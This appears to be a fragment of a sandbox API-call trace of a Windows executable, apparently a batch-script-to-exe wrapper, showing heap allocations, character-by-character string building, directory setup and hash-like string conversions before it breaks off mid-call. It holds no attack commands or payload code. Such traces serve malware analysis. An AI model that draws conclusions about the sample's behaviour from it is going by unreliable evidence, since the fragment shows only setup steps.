0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.165] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.165] GetLastError () returned 0x0 [0062.165] SetLastError (dwErrCode=0x0) [0062.165] wcslen (_String="Select the working") returned 0x12 [0062.165] wcslen (_String=" ") returned 0x1 [0062.165] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x30) returned 0x1f44a80 [0062.165] GetLastError () returned 0x0 [0062.165] SetLastError (dwErrCode=0x0) [0062.165] GetLastError () returned 0x0 [0062.165] SetLastError (dwErrCode=0x0) [0062.165] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.165] GetLastError () returned 0x0 [0062.165] SetLastError (dwErrCode=0x0) [0062.165] wcslen (_String="Select the working ") returned 0x13 [0062.165] wcslen (_String="d") returned 0x1 [0062.165] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x32) returned 0x1f44a80 [0062.165] GetLastError () returned 0x0 [0062.165] SetLastError (dwErrCode=0x0) [0062.165] GetLastError () returned 0x0 [0062.165] SetLastError (dwErrCode=0x0) [0062.165] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.165] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] wcslen (_String="Select the working d") returned 0x14 [0062.166] wcslen (_String="i") returned 0x1 [0062.166] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x34) returned 0x1f44a80 [0062.166] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.166] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] wcslen (_String="Select the working di") returned 0x15 [0062.166] wcslen (_String="r") returned 0x1 [0062.166] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x36) returned 0x1f44a80 [0062.166] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.166] GetLastError () returned 0x0 [0062.166] SetLastError (dwErrCode=0x0) [0062.166] wcslen (_String="Select the working dir") returned 0x16 [0062.167] wcslen (_String="e") returned 0x1 [0062.167] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x38) returned 0x1f44a80 [0062.167] GetLastError () returned 0x0 [0062.167] SetLastError (dwErrCode=0x0) [0062.167] GetLastError () returned 0x0 [0062.167] SetLastError (dwErrCode=0x0) [0062.167] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.167] GetLastError () returned 0x0 [0062.167] SetLastError (dwErrCode=0x0) [0062.167] wcslen (_String="Select the working dire") returned 0x17 [0062.167] wcslen (_String="c") returned 0x1 [0062.167] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x3a) returned 0x1f44a80 [0062.167] GetLastError () returned 0x0 [0062.167] SetLastError (dwErrCode=0x0) [0062.167] GetLastError () returned 0x0 [0062.167] SetLastError (dwErrCode=0x0) [0062.168] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] wcslen (_String="Select the working direc") returned 0x18 [0062.168] wcslen (_String="t") returned 0x1 [0062.168] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x3c) returned 0x1f44a80 [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] wcslen (_String="Select the working direct") returned 0x19 [0062.168] wcslen (_String="o") returned 0x1 [0062.168] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x3e) returned 0x1f44a80 [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.168] GetLastError () returned 0x0 [0062.168] SetLastError (dwErrCode=0x0) [0062.168] wcslen (_String="Select the working directo") returned 0x1a [0062.169] wcslen (_String="r") returned 0x1 [0062.169] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x40) returned 0x1f44a80 [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] wcslen (_String="Select the working director") returned 0x1b [0062.169] wcslen (_String="y") returned 0x1 [0062.169] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x42) returned 0x1f44a80 [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] wcslen (_String="Select the working directory") returned 0x1c [0062.169] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x42) returned 0x1f57c28 [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] GetLastError () returned 0x0 [0062.169] SetLastError (dwErrCode=0x0) [0062.169] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1f40830 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.170] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x40) returned 0x1f57c78 [0062.170] GetLastError () returned 0x0 [0062.170] SetLastError (dwErrCode=0x0) [0062.170] wcslen (_String="C:\\Users\\kEecfMwgj\\Desktop\\") returned 0x1b [0062.170] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57c78 | out: hHeap=0x1f40000) returned 1 [0062.170] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57c28 | out: hHeap=0x1f40000) returned 1 [0062.170] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x40) returned 0x1f4a1a8 [0062.171] SetCurrentDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Desktop\\" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 1 [0062.171] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44a80 | out: hHeap=0x1f40000) returned 1 [0062.171] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56ba8 | out: hHeap=0x1f40000) returned 1 [0062.171] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4a1a8 | out: hHeap=0x1f40000) returned 1 [0062.171] GetLastError () returned 0x0 [0062.171] SetLastError (dwErrCode=0x0) [0062.172] GetLastError () returned 0x0 [0062.172] SetLastError (dwErrCode=0x0) [0062.172] wcslen (_String="Select the extraction path") returned 0x1a [0062.172] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x3e) returned 0x1f4a1a8 [0062.172] GetLastError () returned 0x0 [0062.172] SetLastError (dwErrCode=0x0) [0062.172] GetLastError () returned 0x0 [0062.172] SetLastError (dwErrCode=0x0) [0062.172] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1f40830 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.172] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x40) returned 0x1f4a1f0 [0062.172] GetLastError () returned 0x0 [0062.172] SetLastError (dwErrCode=0x0) [0062.172] wcslen (_String="C:\\Users\\kEecfMwgj\\Desktop\\") returned 0x1b [0062.172] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4a1f0 | out: hHeap=0x1f40000) returned 1 [0062.173] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4a1a8 | out: hHeap=0x1f40000) returned 1 [0062.173] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x40) returned 0x1f4a1a8 [0062.173] PathRemoveBackslashW (in: pszPath="C:\\Users\\kEecfMwgj\\Desktop\\" | out: pszPath="C:\\Users\\kEecfMwgj\\Desktop") returned="" [0062.173] GetLastError () returned 0x0 [0062.173] SetLastError (dwErrCode=0x0) [0062.173] GetLastError () returned 0x0 [0062.173] SetLastError (dwErrCode=0x0) [0062.173] GetLastError () returned 0x0 [0062.173] SetLastError (dwErrCode=0x0) [0062.173] wcslen (_String="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.173] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x3e) returned 0x1f4a1f0 [0062.173] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x2710) returned 0x8609f0 [0062.173] GetShortPathNameW (in: lpszLongPath="C:\\Users\\kEecfMwgj\\Desktop", lpszShortPath=0x8609f0, cchBuffer=0x2710 | out: lpszShortPath="C:\\Users\\KEECFM~1\\Desktop") returned 0x19 [0062.174] GetLastError () returned 0x0 [0062.174] SetLastError (dwErrCode=0x0) [0062.174] GetLastError () returned 0x0 [0062.174] SetLastError (dwErrCode=0x0) [0062.174] memcpy (in: _Dst=0x1f40830, _Src=0x8609f0, _Size=0x32 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.174] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x3c) returned 0x1f4a238 [0062.174] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0062.174] GetLastError () returned 0x0 [0062.174] SetLastError (dwErrCode=0x0) [0062.174] wcslen (_String="C:\\Users\\KEECFM~1\\Desktop") returned 0x19 [0062.175] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4a1f0 | out: hHeap=0x1f40000) returned 1 [0062.175] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f4a238 | out: hHeap=0x1f40000) returned 1 [0062.175] SetEnvironmentVariableW (lpName="b2eincfilepath", lpValue="C:\\Users\\KEECFM~1\\Desktop") returned 1 [0062.175] GetLastError () returned 0x0 [0062.175] SetLastError (dwErrCode=0x0) [0062.175] GetLastError () returned 0x0 [0062.175] SetLastError (dwErrCode=0x0) [0062.175] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\") returned 0x38 [0062.175] wcslen (_String="extd.exe") returned 0x8 [0062.176] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f489a8, Size=0x8a) returned 0x1f57c28 [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] wcslen (_String="@") returned 0x1 [0062.176] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56bd8 [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bf0 [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] wcslen (_String="@") returned 0x1 [0062.176] wcslen (_String="s") returned 0x1 [0062.176] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xe) returned 0x1f56ba8 [0062.176] GetLastError () returned 0x0 [0062.176] SetLastError (dwErrCode=0x0) [0062.176] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0xc) returned 0x1f56bd8 [0062.177] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] wcslen (_String="@s") returned 0x2 [0062.177] wcslen (_String="h") returned 0x1 [0062.177] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x10) returned 0x1f56bf0 [0062.177] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.177] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] wcslen (_String="@sh") returned 0x3 [0062.177] wcslen (_String="i") returned 0x1 [0062.177] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0x12) returned 0x1f573e8 [0062.177] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] GetLastError () returned 0x0 [0062.177] SetLastError (dwErrCode=0x0) [0062.177] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bf0 [0062.177] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] wcslen (_String="@shi") returned 0x4 [0062.178] wcslen (_String="f") returned 0x1 [0062.178] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573e8, Size=0x14) returned 0x1f573c8 [0062.178] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0xc) returned 0x1f56ba8 [0062.178] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] wcslen (_String="@shif") returned 0x5 [0062.178] wcslen (_String="t") returned 0x1 [0062.178] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x16) returned 0x1f573e8 [0062.178] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bf0 [0062.178] GetLastError () returned 0x0 [0062.178] SetLastError (dwErrCode=0x0) [0062.178] wcslen (_String="@shift") returned 0x6 [0062.178] wcslen (_String=" ") returned 0x1 [0062.179] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573e8, Size=0x18) returned 0x1f573c8 [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0xc) returned 0x1f56ba8 [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] wcslen (_String="@shift ") returned 0x7 [0062.179] wcslen (_String="/") returned 0x1 [0062.179] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x1a) returned 0x1f489a8 [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bf0 [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] wcslen (_String="@shift /") returned 0x8 [0062.179] wcslen (_String="0") returned 0x1 [0062.179] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f489a8, Size=0x1c) returned 0x1f489f8 [0062.179] GetLastError () returned 0x0 [0062.179] SetLastError (dwErrCode=0x0) [0062.179] GetLastError () returned 0x0 [0062.180] SetLastError (dwErrCode=0x0) [0062.180] GetLastError () returned 0x0 [0062.180] SetLastError (dwErrCode=0x0) [0062.180] GetLastError () returned 0x0 [0062.180] SetLastError (dwErrCode=0x0) [0062.180] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612d8 [0062.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.181] malloc (_Size=0x22) returned 0x6013c0 [0062.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36FA8320AE17B4B0AF374ED522F9BBB8", lpUsedDefaultChar=0x0) returned 33 [0062.181] free (_Block=0x6013c0) [0062.182] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.182] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f491a8 [0062.182] GetLastError () returned 0x0 [0062.182] SetLastError (dwErrCode=0x0) [0062.182] GetLastError () returned 0x0 [0062.182] SetLastError (dwErrCode=0x0) [0062.182] GetLastError () returned 0x0 [0062.182] SetLastError (dwErrCode=0x0) [0062.182] GetLastError () returned 0x0 [0062.182] SetLastError (dwErrCode=0x0) [0062.182] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0xe4) returned 0x7612d8 [0062.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.182] malloc (_Size=0x22) returned 0x6013c0 [0062.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36FA8320AE17B4B0AF374ED522F9BBB8", lpUsedDefaultChar=0x0) returned 33 [0062.182] memcpy (in: _Dst=0x761338, _Src=0x6013c0, _Size=0x20 | out: _Dst=0x761338) returned 0x761338 [0062.182] memcpy (in: _Dst=0x761358, _Src=0x4136f0, _Size=0x1 | out: _Dst=0x761358) returned 0x761358 [0062.182] memcpy (in: _Dst=0x761359, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761359) returned 0x761359 [0062.182] memcpy (in: _Dst=0x76135a, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135a) returned 0x76135a [0062.182] memcpy (in: _Dst=0x76135b, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135b) returned 0x76135b [0062.182] memcpy (in: _Dst=0x76135c, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135c) returned 0x76135c [0062.182] memcpy (in: _Dst=0x76135d, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135d) returned 0x76135d [0062.182] memcpy (in: _Dst=0x76135e, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135e) returned 0x76135e [0062.182] memcpy (in: _Dst=0x76135f, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135f) returned 0x76135f [0062.182] memcpy (in: _Dst=0x761360, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761360) returned 0x761360 [0062.182] memcpy (in: _Dst=0x761361, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761361) returned 0x761361 [0062.182] memcpy (in: _Dst=0x761362, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761362) returned 0x761362 [0062.182] memcpy (in: _Dst=0x761363, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761363) returned 0x761363 [0062.183] memcpy (in: _Dst=0x761364, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761364) returned 0x761364 [0062.183] memcpy (in: _Dst=0x761365, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761365) returned 0x761365 [0062.183] memcpy (in: _Dst=0x761366, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761366) returned 0x761366 [0062.183] memcpy (in: _Dst=0x761367, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761367) returned 0x761367 [0062.183] memcpy (in: _Dst=0x761368, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761368) returned 0x761368 [0062.183] memcpy (in: _Dst=0x761369, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761369) returned 0x761369 [0062.183] memcpy (in: _Dst=0x76136a, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136a) returned 0x76136a [0062.183] memcpy (in: _Dst=0x76136b, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136b) returned 0x76136b [0062.183] memcpy (in: _Dst=0x76136c, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136c) returned 0x76136c [0062.183] memcpy (in: _Dst=0x76136d, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136d) returned 0x76136d [0062.183] memcpy (in: _Dst=0x76136e, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136e) returned 0x76136e [0062.183] memcpy (in: _Dst=0x76136f, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136f) returned 0x76136f [0062.183] memcpy (in: _Dst=0x761370, _Src=0x18febc, _Size=0x8 | out: _Dst=0x761370) returned 0x761370 [0062.183] memcpy (in: _Dst=0x76137c, _Src=0x761338, _Size=0x40 | out: _Dst=0x76137c) returned 0x76137c [0062.183] memcpy (in: _Dst=0x761338, _Src=0x18fec4, _Size=0x0 | out: _Dst=0x761338) returned 0x761338 [0062.183] free (_Block=0x6013c0) [0062.184] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.184] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57cc0 [0062.184] GetLastError () returned 0x0 [0062.184] SetLastError (dwErrCode=0x0) [0062.184] GetLastError () returned 0x0 [0062.184] SetLastError (dwErrCode=0x0) [0062.184] GetLastError () returned 0x0 [0062.184] SetLastError (dwErrCode=0x0) [0062.184] GetLastError () returned 0x0 [0062.184] SetLastError (dwErrCode=0x0) [0062.184] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0xe4) returned 0x7612d8 [0062.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C1F0F7C622CAB348492D1AB929AC8AD5", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.184] malloc (_Size=0x22) returned 0x6013c0 [0062.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C1F0F7C622CAB348492D1AB929AC8AD5", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C1F0F7C622CAB348492D1AB929AC8AD5", lpUsedDefaultChar=0x0) returned 33 [0062.184] memcpy (in: _Dst=0x761338, _Src=0x6013c0, _Size=0x20 | out: _Dst=0x761338) returned 0x761338 [0062.184] memcpy (in: _Dst=0x761358, _Src=0x4136f0, _Size=0x1 | out: _Dst=0x761358) returned 0x761358 [0062.184] memcpy (in: _Dst=0x761359, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761359) returned 0x761359 [0062.184] memcpy (in: _Dst=0x76135a, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135a) returned 0x76135a [0062.184] memcpy (in: _Dst=0x76135b, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135b) returned 0x76135b [0062.184] memcpy (in: _Dst=0x76135c, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135c) returned 0x76135c [0062.184] memcpy (in: _Dst=0x76135d, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135d) returned 0x76135d [0062.184] memcpy (in: _Dst=0x76135e, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135e) returned 0x76135e [0062.184] memcpy (in: _Dst=0x76135f, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76135f) returned 0x76135f [0062.184] memcpy (in: _Dst=0x761360, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761360) returned 0x761360 [0062.184] memcpy (in: _Dst=0x761361, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761361) returned 0x761361 [0062.184] memcpy (in: _Dst=0x761362, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761362) returned 0x761362 [0062.184] memcpy (in: _Dst=0x761363, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761363) returned 0x761363 [0062.185] memcpy (in: _Dst=0x761364, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761364) returned 0x761364 [0062.185] memcpy (in: _Dst=0x761365, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761365) returned 0x761365 [0062.185] memcpy (in: _Dst=0x761366, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761366) returned 0x761366 [0062.185] memcpy (in: _Dst=0x761367, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761367) returned 0x761367 [0062.185] memcpy (in: _Dst=0x761368, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761368) returned 0x761368 [0062.185] memcpy (in: _Dst=0x761369, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x761369) returned 0x761369 [0062.185] memcpy (in: _Dst=0x76136a, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136a) returned 0x76136a [0062.185] memcpy (in: _Dst=0x76136b, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136b) returned 0x76136b [0062.185] memcpy (in: _Dst=0x76136c, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136c) returned 0x76136c [0062.185] memcpy (in: _Dst=0x76136d, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136d) returned 0x76136d [0062.185] memcpy (in: _Dst=0x76136e, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136e) returned 0x76136e [0062.185] memcpy (in: _Dst=0x76136f, _Src=0x4136f4, _Size=0x1 | out: _Dst=0x76136f) returned 0x76136f [0062.185] memcpy (in: _Dst=0x761370, _Src=0x18febc, _Size=0x8 | out: _Dst=0x761370) returned 0x761370 [0062.185] memcpy (in: _Dst=0x76137c, _Src=0x761338, _Size=0x40 | out: _Dst=0x76137c) returned 0x76137c [0062.185] memcpy (in: _Dst=0x761338, _Src=0x18fec4, _Size=0x0 | out: _Dst=0x761338) returned 0x761338 [0062.185] free (_Block=0x6013c0) [0062.186] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.186] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x5a) returned 0x1f57d28 [0062.186] GetLastError () returned 0x0 [0062.186] SetLastError (dwErrCode=0x0) [0062.186] GetLastError () returned 0x0 [0062.186] SetLastError (dwErrCode=0x0) [0062.186] GetLastError () returned 0x0 [0062.186] SetLastError (dwErrCode=0x0) [0062.186] GetLastError () returned 0x0 [0062.186] SetLastError (dwErrCode=0x0) [0062.186] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0xe4) returned 0x7612d8 [0062.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6B4ED4EE276A6F7DBFFAE6BC38A15336DD74A697", 